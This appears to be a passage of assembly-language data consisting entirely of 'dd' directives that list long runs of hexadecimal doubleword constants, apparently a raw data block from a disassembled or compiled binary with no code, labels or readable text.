dd 0B28B7747h, 0EEA60959h, 0C54F7087h, 8D6B8026h, 8A982AD7h
dd 7BCDE400h, 0D916D52Dh, 0FBE9007Dh, 0FF726B31h, 560F0B96h
dd 209E9538h, 0D0489AA0h, 417F04BEh, 80D82377h, 56F1680Bh
dd 7021B71Ch, 76476A47h, 4060DACEh, 240393h, 5221EF66h
dd 775C6E9Dh, 38B9E331h, 49EC4F05h, 10B860EBh, 6635641Dh
dd 6765E90Eh, 6B74A0ADh, 7E5A703Ah, 1429043Ch, 0C06F895Dh
dd 2B5EA324h, 30761A00h, 908248D3h, 1C9D00FCh, 0AA510A66h
dd 4A0013C9h, 6CB62E87h, 0A0A7BD17h, 0F689E0h, 0D3B8D03Ah
dd 0CC1B99E9h, 4D9B9F00h, 739694D8h, 0E7559h, 0F1828E5Ch
dd 3C060D7Ch, 83E9363Fh, 0FC4686CCh, 0CF22A0B0h, 7D4A7BA0h
dd 6126002Ah, 0EA90231Ah, 6200B19Eh, 0E83B6C78h, 0CAE702h
dd 5A71917Bh, 0E5D494CBh, 70E2EE16h, 0CC6E1A00h, 0F9CF01h
dd 86548C59h, 0ED25F0D4h, 0FD87C00h, 43845813h, 98AD00E2h
dd 48121940h, 0DBF2F53Ah, 58093900h, 0AC0B64F9h, 0C2CF00B4h
dd 0E596A7BEh, 2379615Dh, 7DD84800h, 806BF9EBh, 666448ABh
dd 59C3E200h, 0F348D242h, 2B3056E6h, 0C81711ACh, 0EBA305B0h
dd 7BBFE0h, 79B991AAh, 1C0673D0h, 2B8F025Ah, 19DB03F8h
dd 498BE71Dh, 0AFFA6800h, 70F24534h, 0DF6F0048h, 0C5BF5FEDh
dd 0B901C152h, 0A8CAA9C8h, 30804322h, 0DCA64009h, 0A44C3D18h
dd 2DB0068h, 8F56A9F6h, 0D84E047Bh, 81C661C3h, 0F8DD4514h
dd 44003347h, 97C2AFAEh, 5621302h, 0EDB2C951h, 0E3F40555h
dd 608A800Ch, 0E2180D72h, 5C184F40h, 0FC290036h, 0E7C6E417h
dd 0CE7C5856h, 0EA00DBEAh, 0A50435DEh, 0B55FA4h, 382F4B40h
dd 4AB12ECDh, 0CE3D3B00h, 0C062B9EDh, 0F16E00F7h, 0DE823F73h
dd 0EE0F0B63h, 0A78964F2h, 93C00342h, 0C069D3h, 0A8EB2E6Bh
dd 0D28F6FFDh, 18A73Fh, 0A4088B46h, 4C5A2158h, 69002826h
dd 0F2F35F75h, 4D00EDF1h, 0DB774F80h, 6C80Ah, 965A9954h
dd 21FB9C24h, 5BEAC100h, 2F7655B1h, 1200B3Dh, 4B80C8B2h
dd 0F50E2C07h, 0F9024EC0h, 0ACC0B3h, 16C48CC7h, 0E1511B57h
dd 5D17E300h, 6311593Ah, 82D61E3Ch, 659FC0CDh, 45BF1262h
dd 0C1E4E0Eh, 72DCE0AEh, 155EA53h, 98E7E517h, 0FC1A7EADh
dd 0FC3D59E0h, 0BD720063h, 0D357A3BAh, 5A910056h, 503B5DADh
dd 51F61438h, 0DBB37B00h, 0C4C6D2E2h, 4C320C4Eh, 0CE68490Ah
dd 0E8838400h, 7B7C85D5h, 79CFEE62h, 282200ACh, 0A0CB23D9h
dd 0C200146Eh, 0A1AA2AB3h, 3A619344h, 77BB61Dh, 0C796BB8Fh
dd 0D9EF608Ah, 0F803063Bh, 670A0F85h, 0F205985Eh, 1B9F0AEBh
dd 80BC9EE6h, 283614DEh, 0B91C4EFBh, 0BD80C797h, 0C389C994h
dd 91CF3DEEh, 9CD3E200h, 9DD8E5CCh, 0E1FCD51Eh, 0EACBDE80h
dd 7C3E6E8h, 0C0E9FDF2h, 0D9F0E0F5h, 9C00A5F9h, 0B4A9EA2Fh
dd 7822190Fh, 5EFE12D4h, 0AFA007FFh, 40EDC7C4h, 225DAA97h
dd 0A71D2CB2h, 0A0302F9Fh, 1D02D2ACh, 0CAA20Ch, 0DF537E01h
dd 0FD001E0Eh, 507699AFh, 739A27E8h, 727A0636h, 70E4ADEAh
dd 0A8B4E200h, 3F392282h, 88A760BAh, 8C75E73h, 0B8602517h
dd 8D2EF400h, 5AD53h, 70BA1F3Bh, 0E017CD39h, 58F4B449h
dd 0A19A1825h, 0C0ADF258h, 91AFE7B8h, 438657AAh, 0A22071h
dd 0AA40D3C2h, 0CA576DD4h, 0A93C2400h, 0C077A068h, 5B2800B7h
dd 0BC1290D9h, 39002BAFh, 0F1C8E3ECh, 108538Bh, 0D7044503h
dd 0D49EB286h, 9B0093F6h, 0E6482926h, 253876F4h, 0EAD62C6Bh
dd 1BF71A00h, 69AE286h, 51112292h, 100146Ch, 8F2DFDE3h
dd 5EB69h, 0E9CB968Eh, 0B1514C95h, 1C55273Ch, 48404FCFh
dd 80EF97C8h, 72ED5C26h, 791E500h, 6DDBFD61h, 0F03C0576h
dd 0B5C20068h, 15D4410Ah, 19980003h, 0D5C7E94Bh, 0EC0044DCh
dd 9DB18ED9h, 9BD0424h, 9FC31D40h, 0D0E63C27h, 0D6816A28h
dd 594ED20Eh, 0B3D120A7h, 2A75DAC5h, 0AC2F7Fh, 4FCCBE0Ch
dd 6EF3DBF8h, 0ED311906h, 72205216h, 7529C07Fh, 0AAE7F612h
dd 77D0338h, 3F512629h, 0B2D018E1h, 174D7880h, 0EEA832C9h
dd 79CEAD06h, 9412D7Fh, 4752B824h, 0A9825883h, 0F5F89C90h
dd 0A59BA700h, 0AB1C4F3Dh, 31750067h, 6D66F9E8h, 20C09268h
dd 0FB46D6E9h, 0F54D0724h, 334F3539h, 0A7907FC6h, 0D407EA9Eh
dd 20241516h, 1CAC712Ch, 0C05CAA9Bh, 40FB1BEEh, 0E00FEC31h
dd 2024F812h, 95D4AF8Ah, 677F29h, 73EE1310h, 5F268969h
dd 0C0B6DA1Dh, 0DC818300h, 0E42146F8h, 8AA70CDBh, 0D908933Dh
dd 0E00321C7h, 2DC220E1h, 493A98C3h, 0A0E40387h, 0BC8808A8h
dd 7A142800h, 0C4AE99D6h, 956C30ECh, 9724C319h, 0FF0FD91Eh
dd 0BE38B700h, 1817DBEFh, 309BA24Ah, 0D81883F5h, 0BC705CA4h
dd 4DE200BFh, 0EAFFD61Ch, 0C766DEC0h, 21A608h, 0DF4DDA90h
dd 105F5B65h, 91E35200h, 63AC7873h, 5E73F6h, 8D41D89h
dd 8A7FC2A3h, 67739001h, 0BF060B4Ah, 0A1F9FC01h, 0D3D18850h
dd 6401F818h, 59FDEC74h, 0C883A882h, 0DF4B0810h, 8081702Ah
dd 39C5A933h, 0DD7B8078h, 144B069Eh, 0D150A518h, 0F3300700h
dd 0F0313E1Ah, 0DDFE1F1Ch
dd 0CC010025h, 4509CE0h, 737A4D07h, 21C105F3h, 1883EE14h
dd 8D0E628Ch, 103DD01Fh, 88071F40h, 0EEBB8EEDh, 28E6602Ch
dd 43A84E0Eh, 0AB84CC00h, 49420833h, 0EA6700A2h, 0B48A601Ah
dd 0ED004677h, 8B2B348Dh, 0EE208C5Ch, 0D0CBE932h, 0CBF524h
dd 594BE922h, 2CC04C6Eh, 93F430C1h, 189EF176h, 486B1955h
dd 0D584C42Bh, 0EBF72706h, 7420F97Ah, 417500ECh, 0CDC782A4h
dd 6B00C4A2h, 2F0CF4A6h, 7F64C1h, 0DBA538C8h, 5D8C784h
dd 0EE4D6A00h, 0CB32914h, 78737CADh, 529401E0h, 0CC7ADE44h
dd 1E798EF3h, 0CD5BA018h, 35C38Ah, 0D091A56Eh, 5AFA9A8Fh
dd 7ADFFE0Eh, 0F52565E9h, 98F0BA0Ch, 7B77270h, 22BD6E38h
dd 0A887408Ah, 8200ECC8h, 858DDB7Bh, 1816516Bh, 60406D18h
dd 4200F0B4h, 0D2EFDE81h, 0D0E1031Eh, 0CBE0411h, 10BA400Eh
dd 0C4B31FDAh, 872E000Bh, 35D14C1Ch, 0D8614E00h, 3C940EE2h
dd 0DB3013C5h, 28AF198Ch, 0B82A1083h, 0AD640187h, 24B9150Fh
dd 45F02BB6h, 0F277DC5h, 5CAEA30Eh, 1BC27D21h, 0BD4AF0B7h
dd 0CFA83D0Eh, 59216334h, 0EEE5E88Eh, 8C2400AEh, 84FCF486h
dd 0F77AB9A3h, 5A1F0CE6h, 8300574Ah, 481B87BFh, 10B11E0Dh
dd 90FF0050h, 0D7AC72BDh, 99C32400h, 0F8E6CDEBh, 0AB7282Bh
dd 3D9000D1h, 17FCFF5Ch, 0D700EE1Ah, 0D9B47771h, 3058DD9Bh
dd 402163EBh, 6600D6F9h, 2EEAE783h, 0A0843179h, 3868AF94h
dd 2580694Ah, 0E76CD29Ch, 0FA005A75h, 53718EE2h, 0DDEE6h
dd 5F81337Ch, 0D09D3C18h, 0F4E1201Ch, 0CA163E40h, 10139Ah
dd 60D52DCBh, 91999701h, 561CC0F2h, 258019BBh, 0D2F33D59h
dd 0C3B04CE3h, 0E2A16D01h, 0C844B63Ah, 0F607B83Bh, 14E95886h
dd 6E4013B0h, 0EFFE3082h, 265C0C48h, 8A1C5E00h, 9974CAFAh
dd 0A4BDEC49h, 2BBF00C0h, 72211D6Bh, 0F6EC0A01h, 0C455624h
dd 18E2B900h, 767E5Ah, 0FCC0DDBDh, 884B4637h, 9DB7BA00h
dd 0E33F5211h, 5C56009Fh, 0E2218DC4h, 730012AFh, 0E99CD447h
dd 727F8CCh, 0C4C02F92h, 46F6F01Ch, 0C605CE0Ch, 7BA4D1FAh
dd 0C32A8FC1h, 0F0641D8h, 0A6038D3Eh, 6382758Bh, 0D7409A4Fh
dd 5D0024C4h, 781BF4F5h, 0F86E12h, 4902908h, 66445E28h
dd 0DB68C300h, 0D6847E71h, 7DE63Ch, 74891D8Fh, 0B0E76F16h
dd 400C7E8h, 3C640B7Eh, 13E9F010h, 898C0h, 54DB55CBh, 67005989h
dd 0D3F54FE8h, 542B03D1h, 0C58C7Ah, 0ABE59457h, 7F5919E9h
dd 0E2B07100h, 5336FBE7h, 8E86034Ah, 0DD141EBAh, 558081DBh
dd 8701DB6Eh, 0FA0E32Fh, 904049A4h, 547CABCFh, 21C28C51h
dd 18E05280h, 0CE129C94h, 0A8C1B528h, 0CC8705B0h, 0CF24D75Bh
dd 0B00E8DCh, 0F49A1FA4h, 0F828019Ch, 6D2187C1h, 6949C4E6h
dd 0F300D27Fh, 0BF8594B8h, 2E2EDh, 803B01C2h, 0B6226619h
dd 0AFC3301h, 8498D2C8h, 0EF7CE0h, 0E4129DE8h, 71C328B7h
dd 56393A01h, 43CA99F9h, 0B6D7F8h, 806BF212h, 63D824DEh
dd 2975D900h, 0C1F6C5E5h, 0FB389A16h, 2E307040h, 3D2704A6h
dd 807EBF6Ch, 3ADA7094h, 480088F8h, 23ACC389h, 0E2FCA28Fh
dd 369885h, 31C0C83Ch, 0E02FF6A8h, 37B1501Dh, 13B0A352h
dd 9C5D0E7Ah, 0E560E1C5h, 0B3728F1Eh, 1CD9500h, 1399E4CAh
dd 7EE8905Eh, 45B9407Eh, 6C20EC00h, 0D840EC1h, 4F280070h
dd 0F51CA3F3h, 6800CBC9h, 0EE8D7627h, 7120D1FEh, 59C424B0h
dd 552D00ACh, 0F2463381h, 4193561Dh, 540127D2h, 4A211B83h
dd 7448388Eh, 97CA8780h, 1600A726h, 0FD894E9Dh, 2E14236h
dd 0F229B735h, 0F680A9EEh, 835A2EBDh, 47FD2F00h, 85AA86F7h
dd 0ED1E000Ch, 294E6133h, 5E06EB24h, 4DA9FB8Ch, 87830010h
dd 6B06F67Ah, 1D003735h, 0FF583165h, 60EFD7CDh, 420FF086h
dd 0A100BE6Fh, 2703D5C6h, 8A4A88h, 29D06CB5h, 5137E541h
dd 28F44D00h, 0B11883BCh, 0B2120025h, 2B929917h, 1F01D3A2h
dd 26F0F78Fh, 0D021862Ah, 1E5DB06Bh, 0A55B4E1Ch, 9FCA1340h
dd 0A0670BE2h, 233C8Ch, 1769CBACh, 0C8266D01h, 33F0FE00h
dd 8C5303CFh, 0F37F02Dh, 0DCEDF1D7h, 0EBF3B980h, 77056831h
dd 96DA9DA8h, 1B50E80h, 0FC7F1623h, 0C11C04AEh, 0A7BCC0D6h
dd 9500C0F6h, 27B71755h, 0DB6C98h, 24DFFD4Fh, 0C8DDBF8Ah
dd 82CA9038h, 0F65B0F04h, 5DF86023h, 0FE2AB83Bh, 0EA750ED7h
dd 39D88DD2h, 0CB18FA50h, 0F611CC65h, 31E500B6h, 9F4E3F7Ah
dd 70928448h, 803A9B38h, 0F55E2E6Ah, 12A0AC96h, 67FF52h
dd 0CAE9E731h, 0CF00FD29h, 61E0E655h, 3DE316F1h, 64006315h
dd 3C47978Ah, 18B1D29Eh, 33456200h, 132C4432h, 59C5E94h
dd 0C01BC016h, 90D06055h, 98BC412Ch, 299BE600h, 1D893B55h
dd 0C0705ED4h, 0E4B9EB76h, 5E49619h, 0E2BA3Fh, 0E0872559h
dd 71CFCE23h, 0C81B00C3h, 0DEA5021Fh, 1E01BB96h, 72FCF693h
dd 42800185h, 6A2B7E09h, 610007E6h, 0C5A53ACEh, 50E968h
dd 0EC6F8874h, 0D662325Dh, 3ABBE505h, 34D29E34h, 8700400Dh
dd 75120018h, 32A31B6Ah, 0CC0499DBh, 0A2A61EA5h, 8CE2B880h
dd 3A8F3D0Dh, 14554400h, 36C466C1h, 160186E6h, 83A6FF54h
dd 0D5EC9F77h, 0E43F0094h, 53E0B534h, 853821A1h, 24C100F2h
dd 0D7B25E9Ch, 1550577h, 41E21CF6h, 0EEDEDDD4h, 0C1A63004h
dd 5D02820Bh, 20B58CDAh, 0F5F23C0Eh, 11521F19h, 0C68CE0EAh
dd 0D2B83D00h, 0D44BA007h, 0D61E0087h, 7C2FBB5Dh, 0F3ECB0B3h
dd 35C5C326h, 0C0A30C0Fh, 3A58E60Fh, 0F8D5F851h, 667600D6h
dd 75EEDFF5h, 1E009C57h, 0F495A204h, 238C6Bh, 96E42406h
dd 53E19ACEh, 0D645B900h, 9B8EDE16h, 0B8653354h, 0D8087639h
dd 80E1C7C4h, 383F215Fh, 0E61DF5DAh, 0EC0D11D1h, 0F8626007h
dd 287817h, 997ACE4h, 10910C7h, 80712B8Eh, 11853EABh, 6119015Fh
dd 4A2ADFB9h, 0AEAAF826h, 0B33BACB0h, 72B1007Ah, 37479CC6h
dd 74540570h, 0C0993626h, 9A94F111h, 8E1E091Ch, 565CBFC0h
dd 0F672AEh, 32382CA7h, 0F1B1BBEEh, 880002F0h, 0ECFC85FAh
dd 61E6FFh, 709C9A6Bh, 0C38606D1h, 403FF000h, 9D1CB9A4h
dd 59733Eh, 6989C78Bh, 9EF59FB1h, 0C64F4B00h, 0C95755CAh
dd 0E430013h, 948E362Fh, 79B8E4E1h, 0A9AC7C00h, 5BAA6653h
dd 688403F9h, 0C151CEA3h, 0A8129E00h, 0D9C91896h, 86B62A79h
dd 36760098h, 0BEE7EB5Dh, 0B100453Fh, 21B2F268h, 127F0F9h
dd 0C306ABD5h, 0DE2FEA64h, 0F4A0C4A0h, 9A1E0CCBh, 0CC07E52Ah
dd 0D8DF8216h, 62638020h, 0BDE061F8h, 8FE2C50h, 287E0E00h
dd 0C388C83Dh, 15C605D7h, 0C090594Dh, 6BDA891Ah, 0E1383C60h
dd 0CEDF3B39h, 68C15E71h, 80EAB570h, 3E039B59h, 0BA232Ah
dd 4F76D407h, 2678E89Eh, 74BC0600h, 8B09AB6Bh, 0ADFE1DC3h
dd 18200EE5h, 0DB5FF700h, 69C0446Dh, 0E130F4Ah, 3011C033h
dd 0D1B0C18Ch, 0BD9F7300h, 910D9D19h, 9EBC00DAh, 0E021C65Bh
dd 0F9758C8Bh, 2E30A073h, 5F34A9D6h, 0A93901BFh, 14CCC175h
dd 0CB01E0E0h, 0D4A3000h, 2BA4DEB4h, 3FBA778Ch, 0FF0077D5h
dd 15A07873h, 911DDB1Fh, 6405EA71h, 0BC1DFC0Bh, 32214418h
dd 9177F3h, 3990C05Ch, 0AD2A794h, 7247F40h, 263679BEh
dd 0F030CDF3h, 8C0A989h, 4067E478h, 3EB00BCh, 2B2C29F5h
dd 0DB06D6C3h, 87B046A4h, 16354691h, 170A91D7h, 365048FBh
dd 939100EFh, 0F02B9825h, 0DD21A739h, 7DF20C23h, 97002989h
dd 4458632Bh, 0DE05C6h, 6DC1F123h, 982D8B85h, 0CF0D800Ch
dd 0F1430E1h, 5F1A2335h, 0A3A92078h, 15590383h, 2F17FCF4h
dd 8C292004h, 7E039601h, 18A6EB4Eh, 0C29BAD08h, 10D83297h
dd 1191F030h, 88C3EA6Eh, 0E83F8040h, 0A702FE91h, 680E2328h
dd 7C80F522h, 1DD70179h, 0CB7ABE7Bh, 8A709877h, 3B37EAC9h
dd 0AA00FA89h, 67E01061h, 7200C823h, 0F678CD6Ch, 242FC16Bh
dd 0E4CE67Eh, 15809D5Dh, 51A380A4h, 0B9460301h, 891F58F1h
dd 0E4B8088Ch, 0AB00DE20h, 4221F352h, 461233h, 3F4C0114h
dd 2F84DF2h, 0BCB1C500h, 84F5B023h, 9DD113A1h, 2603EFA5h
dd 78C9670Fh, 0A6850048h, 8A70F898h, 0D2E4A378h, 0ED607974h
dd 98BEB221h, 60C2176Fh, 2E0F005Eh, 517F57DFh, 29707B6Ch
dd 0B57CE5h, 74122B1Dh, 0B7D03D1Eh, 0B4900701h, 0FD4433A4h
dd 795F888Eh, 856F5983h, 7C0540D6h, 35EBCEE6h, 0E8068441h
dd 109DED25h, 4B1B4045h, 824F615Dh, 0E241F301h, 1770FA5Eh
dd 50D3C4h, 80A1B2E9h, 1CDC6DECh, 661B7700h, 74729CC9h
dd 0DE1200A0h, 0FC53BFA5h, 470EFF29h, 80CA486Ah, 0E9A161D8h
dd 5F7A0197h, 74253EC2h, 0E008BBF2h, 97E11321h, 10490B35h
dd 0EF006424h, 1B6DF82h, 34002790h, 0D95255ADh, 0EAC3DB67h
dd 0A399013Dh, 29F8271Ch, 61DAE881h, 0C06B78C8h, 5F7B97EAh
dd 88C018FFh, 9704E210h, 85BB7622h, 0F4609386h, 38712C50h
dd 0C12930F3h, 9318DACDh, 27113349h, 0B1D0002h, 0DC834EADh
dd 84741EC6h, 0F12180E7h, 1B6D1D6Ch, 0DB1300D3h, 48DE7CACh
dd 610EE214h, 0C10E920h, 8C9258F6h, 0E1D0104h, 236246ADh
dd 1D6BF020h, 305EB814h, 0A8B089F6h, 35415520h, 29D44E4h
dd 0D3E2034Ch, 90802664h, 4F0DB95Ch, 0AE2F6100h, 91A16E60h
dd 8D10C058h, 0F8427220h, 9C988B07h, 97E0DA7Bh, 0EDC4439h
dd 4126A980h, 0E46E3840h, 0E0004EE3h, 379E16D1h, 0C2392h
dd 8DBD8F20h, 0C17B9327h, 80CC1539h, 78A7311Eh, 7E7CF0h
dd 16976D9Eh, 4CBCE52Ch, 91748700h, 0A8AFDC7Dh, 10B000E4h
dd 9EFCEE11h, 0D200841Ch, 0AC946DC2h, 2E0236Fh, 9FEBAEF4h
dd 0E7614F5Ch, 0E558837Dh, 58C447D4h, 0CA1F2318h, 0F9810E69h
dd 0E148800Ch, 2F12FF00h, 0C6159AE7h, 4CA05B7h, 80111FF2h
dd 463AB41Ch, 4FB06101h, 27ED68D5h, 1FF7A7D9h, 157FBB9h
dd 0FC766B58h, 0E4242094h, 0E001C439h, 35096820h, 0D46D059Dh
dd 0C0849B63h, 53E508D2h, 0AC812C00h, 756C35F6h, 1DA207B1h
dd 81EB67B3h, 8C7DD2E1h, 88A8840h, 0D38B00F0h, 1B95EE5Ah
dd 780130E8h, 3B94E5A5h, 0D5D423FCh, 63E000EFh, 0E809D99Ah
dd 93E0F829h, 0D8FE190Ch, 33E7F0CFh, 65517BA1h, 0D5F1A5E0h
dd 0A800737Ch, 0F3807FFFh, 1DA34262h, 87A10h, 52561F5h
dd 2800D798h, 0C189F793h, 3095EFDBh, 512878C9h, 0B914211Dh
dd 30A1AB77h, 477B40B2h, 0DA0500C1h, 0FB6F284Eh, 0DBFAC75Eh
dd 0E422A700h, 6E1C9BC8h, 10F7606Ch, 60DFBC21h, 0C6C93Ch
dd 0E5FB1FFCh, 0F346A969h, 0C4566881h, 8057408Ch, 0A6D78360h
dd 0C4EDBC3h, 75636F2Ah, 240031B9h, 8FB6AFEh, 0CA2B22h
dd 0DA3EF720h, 567B0C2Ch, 0D787A300h, 89F0B9E8h, 8BB3180Bh
dd 88FB59A4h, 242C347Fh, 4E068A0Eh, 38D23Ch, 0E178048Fh
dd 4521F199h, 0D3AF7200h, 0B25DFDDh, 8C06666h, 6000210Eh
dd 18AAB0A9h, 7E12B1h, 3D5EAB4Dh, 99F4B944h, 0C9B7F800h
dd 0F1CB1E01h, 55FB0091h, 0F9E521F0h, 4B0FAF09h, 262B45ABh
dd 6008440Ch, 1D92138h, 9316F1AFh, 6201F855h, 0C2A01892h
dd 0C7E50EF4h, 0B0796380h, 840790D8h, 0EC0085ECh, 0E00CD1B5h
dd 7DF3926h, 0E7A19905h, 551A40E3h, 0D0623F9Bh, 0DC2C521h
dd 535080C8h, 62FA9A2h, 0DAA300A1h, 7152139Dh, 41604D75h
dd 0F6E3E6D0h, 0E41030D9h, 154CC138h, 27160876h, 3B1905E0h
dd 7080F608h, 1553D0F1h, 500072D9h, 4E43D4CFh, 636186ABh
dd 901350E3h, 4E1F1191h, 0E3DC90h, 4DC2E805h, 6000BE9Bh
dd 0AC8F7A17h, 0C044BB7Dh, 0D743DCE8h, 0E40F125Dh, 0A0FEB40Ah
dd 3F587F35h, 5614005Bh, 5A726FF2h, 0A2002064h, 68EA74CCh
dd 35804AEh, 0E63D3EB0h, 3BB1C3A5h, 0E99520D5h, 0B976C871h
dd 8BC75D00h, 0B5EBF939h, 0C0095052h, 20AE61A6h, 0CCC70613h
dd 6D3E5C4Ah, 58E048Dh, 0C040A783h, 71D8DFEBh, 1ECBE800h
dd 0CC3BD08Ch, 43C500F9h, 0AF28BCADh, 0B9005F63h, 0EDCD990h
dd 60BEFFE0h, 0E8D540C4h, 0EE0274E9h, 0EA155C2Ch, 86C88E55h
dd 20DFF0h, 4474D20Ah, 0B62DF73Bh, 3355C3Ah, 8304A8DAh
dd 53C91FDEh, 80E69C50h, 7A63D533h, 13007E36h, 26E3345Dh
dd 1A7FE7FBh, 58DB35B0h, 60F68404h, 106CC712h, 0B0EC313Ah
dd 0FC73B28h, 3CC6FD1Ch, 2F38D58Ch, 90B45300h, 0C5489D60h
dd 51B66C13h, 3600CB20h, 0B068BFEFh, 0EA338055h, 0C0462827h
dd 6D630C84h, 0FCC808B9h, 3557D605h, 0B000AE21h, 0D5C2963Dh
dd 0F7600DFh, 5E7C41B7h, 40000879h, 7AC6F7B2h, 659081h
dd 0F1E6BB82h, 0A006A5DFh, 0E274DA01h, 42370C67h, 39884C70h
dd 0F594BFh, 8DF306F0h, 9670CDD9h, 29C4E00Eh, 71AD80B0h
dd 0E6879598h, 74130635h, 89B1E7Ch, 20E1A730h, 8853F7h
dd 9DFF91C1h, 2590949Fh, 66133103h, 0F8B4120Dh, 17872A9h
dd 108BC84Bh, 0E071BAB8h, 5036B81h, 5EA9279Bh, 5DD991DDh
dd 80AD8CD0h, 400BE9Fh, 0F8762497h, 16DA684h, 3A5B7406h
dd 8FDD5960h, 4C26E129h, 0F119079h, 3AEC7461h, 7776C01Ch
dd 9526DD58h, 0B2AD28C0h, 49A564h, 53E7A3B4h, 257EBF0Eh
dd 0DB98F30Fh, 921D4079h, 502AEAACh, 53B887Fh, 0B6CB06EEh
dd 209026DBh, 0D6D222h, 86EE301Fh, 401569F8h, 0A7B44EAh
dd 0D1765600h, 778A1EB7h, 80470057h, 8D8B0F9Fh, 797F9163h
dd 0E8111200h, 0EC640B78h, 60743FC2h, 1083E903h, 79C86699h
dd 0F5004552h, 5B77BE20h, 2F4E25D9h, 0EBFC2613h, 88C71A00h
dd 3E2EF82h, 0F3C1027Ah, 58482A6Ah, 0C3F70049h, 43B9D449h
dd 267A0E51h, 9240EE18h, 88A08C7Ch, 7ECF0B1Ah, 870780CCh
dd 3890C767h, 0E400716Bh, 1F7CD29Dh, 7500DA3Ch, 4D8EFFFBh
dd 30159317h, 6B691476h, 62003CEEh, 0CA0C7104h, 1899947Bh
dd 0C08095BEh, 65180ADCh, 7820E1DFh, 2BA6004Ah, 4F8150F8h
dd 48C61341h, 511EFFh, 36A614C1h, 478318C0h, 0A94D8C0Ch
dd 7F4284Fh, 0DC275E5Bh, 0EC8410EBh, 0B2E85F77h, 0E338FC60h
dd 3670DDh, 443A9ABAh, 656DD7A2h, 0F7CCA300h, 0FFAEB5C7h
dd 33800A6h, 780BE6Eh, 0A9002DF8h, 7087E791h, 3715FEC0h
dd 4029D28Eh, 0A45E5926h, 11F42B06h, 3008334Bh, 8B20FE7Ah
dd 0B4005920h, 0C6848D16h, 7C6C51h, 0C04AA1AFh, 6A056D6h
dd 2EF23626h, 0DF99BD07h, 41B620FCh, 38A7C0C6h, 3F69F23Ah
dd 58F3B542h, 5301E480h, 2A8A0159h, 9B7EC672h, 9DFAD173h
dd 4A663521h, 0C093BE0Fh, 3BAF42FFh, 2A400044h, 58FE83ABh
dd 70C0B1C2h, 0A821F20Ch, 0D880E913h, 5EB45098h, 5BF4FBEDh
dd 1188B51Dh, 0F6219B18h, 0DB30EDDh, 3007D4Fh, 0A5BE668Fh
dd 1E9D0114h, 8DF88494h, 59585D30h, 1843A423h, 2C6C2190h
dd 6F073BFEh, 9CA9369Dh, 0CD540D97h, 129F59C0h, 764300F8h
dd 0CE9EC2EAh, 571F9256h, 0D1006C3Eh, 0B4C492Dh, 4A59005Fh
dd 1F77CFB2h, 8B0E95D5h
dd 0EFA1C850h, 191EC7A0h, 0C04FA647h, 4CF72361h, 320D0528h
dd 80ADDB8Dh, 0EDA2BAE0h, 5E312B00h, 513C813Ah, 87CA0112h
dd 97B05FCEh, 92FFC8D0h, 326B5400h, 0C376B553h, 0A0DD0034h
dd 711DF7A4h, 0F53BF0A8h, 6B4C00C4h, 976F3ED6h, 6A640051h
dd 3C0C0DC8h, 101CF760h, 664180ECh, 0FC56D99Eh, 0A0BC7F0h
dd 7A5AE18Bh, 0F9820099h, 0B9459578h, 60FE1CF0h, 0DCC8E300h
dd 3A6588ABh, 509F3C5Eh, 9E364507h, 5037060Ch, 0C7BE1B1Eh
dd 0FD16003Fh, 9445B5FFh, 0D7E00065h, 4C479A44h, 57395329h
dd 5DDC8036h, 21BCEFFDh, 0A4911DD6h, 0BAEA4080h, 0BE145710h
dd 4D9FC200h, 9B43C95Fh, 0AFB00718h, 8072E6ADh, 270151FCh
dd 10C1E300h, 0A64F7E0Bh, 30E27C86h, 0DA10ED48h, 0D3079A1h
dd 54D9A841h, 1A660ACBh, 1F81DE5h, 23FBF5DAh, 25218030h
dd 16272B03h, 0AF811h, 0C18147C8h, 0E72D7552h, 7CF8C94Ah
dd 31566D00h, 0DB08BC24h, 7000D87Ch, 0FA5DF8A8h, 14367D2h
dd 3B075B32h, 0F0B148F9h, 5F00B761h, 887DE118h, 101D1Ch
dd 8387550Ah, 978E2065h, 0F5C9E000h, 0D0923880h, 565A05B6h
dd 43E72F2Ah, 0EB5FD240h, 0F283F1C0h, 0EA8C2403h, 88B11089h
dd 16184A82h, 0E22A9F6h, 8CDEFF04h, 5E1878D6h, 1D103Eh
dd 63553A9Dh, 1B7B9h, 0E4157BE1h, 397385CEh, 8FB29F00h
dd 0E72E7091h, 1CA0383h, 0C7A53BEFh, 26BC31A0h, 0CC3DC303h
dd 0D88DB0A3h, 0CEC5B14Ch, 12235CB0h, 4389078Ah, 0ABD50030h
dd 6290A0FEh, 94040F9Ah, 2A406D48h, 7A54817Eh, 29C968C0h
dd 1429FF3h, 0A1BCA65Eh, 60E338FEh, 9576E9FFh, 53983B50h
dd 0E722011Ch, 6444FE07h, 2ECEA01Fh, 94D5FBh, 0D8CD13B8h
dd 9F6EAA58h, 30649700h, 4F9B8E46h, 0F81A1E78h, 8258808Ch
dd 86E2E66Ch, 0EA3E9300h, 0CBFEC160h, 4230C6F7h, 0A000863h
dd 99EE0D7Dh, 1DBAB86h, 0A38F60CEh, 0FA21E371h, 942011C0h
dd 0E1771903h, 0B0E2E467h, 9F071Bh, 2E2B32C2h, 48CA9DC1h
dd 65AAAB00h, 0E9598B87h, 48B96060h, 9958B402h, 704E7F30h
dd 0D5B4Ch, 31C8C4CEh, 4332B533h, 0CB918C0h, 6F149Fh, 807CA47Dh
dd 0D6BFF1C5h, 0F8EA4300h, 4BEE9CBDh, 0EB9E3030h, 0C87A4608h
dd 5C760A7Ch, 2B00A176h, 0E4663C2Fh, 0DF9F9553h, 0D669C031h
dd 0C950273Dh, 2C0DAE0Ah, 0C600D88Ah, 0EA48327Fh, 0D01F00CCh
dd 45DF0FD1h, 0BE001344h, 812E1B64h, 0C04677D7h, 37C1A55Ch
dd 1AE6E8B6h, 0F7525B01h, 86894F74h, 5C192BD4h, 2300245Ah
dd 0CEA99EE4h, 0AA00423Ch, 0B25551F6h, 0EC8408FAh, 0E4980088h
dd 159A3671h, 25014158h, 0FAE82A1h, 92FC70F5h, 0C7B20681h
dd 18A9B48Eh, 18B7DB3Ch, 2729AD36h, 79D81C8Ah, 10D0341h
dd 2CD15616h, 3649FC39h, 9B09A104h, 0CBC0234Ah, 0F8AD969Ch
dd 3F30007Ch, 0B0025219h, 19C77006h, 424062B1h, 0E2A893h
dd 0B4E1B57Ch, 26E3C99Fh, 85C8CD60h, 4C7681h, 0D231D3C1h
dd 9697982Eh, 0F00AF7Bh, 3B7B5702h, 0CC51895h, 0F7DC723Dh
dd 470CB638h, 0B8BAC88Dh, 8C90542Dh, 7325000Bh, 99C54C7Dh
dd 8100FA8Dh, 54D6DDDAh, 1828692Ah, 706A4680h, 0B6285911h
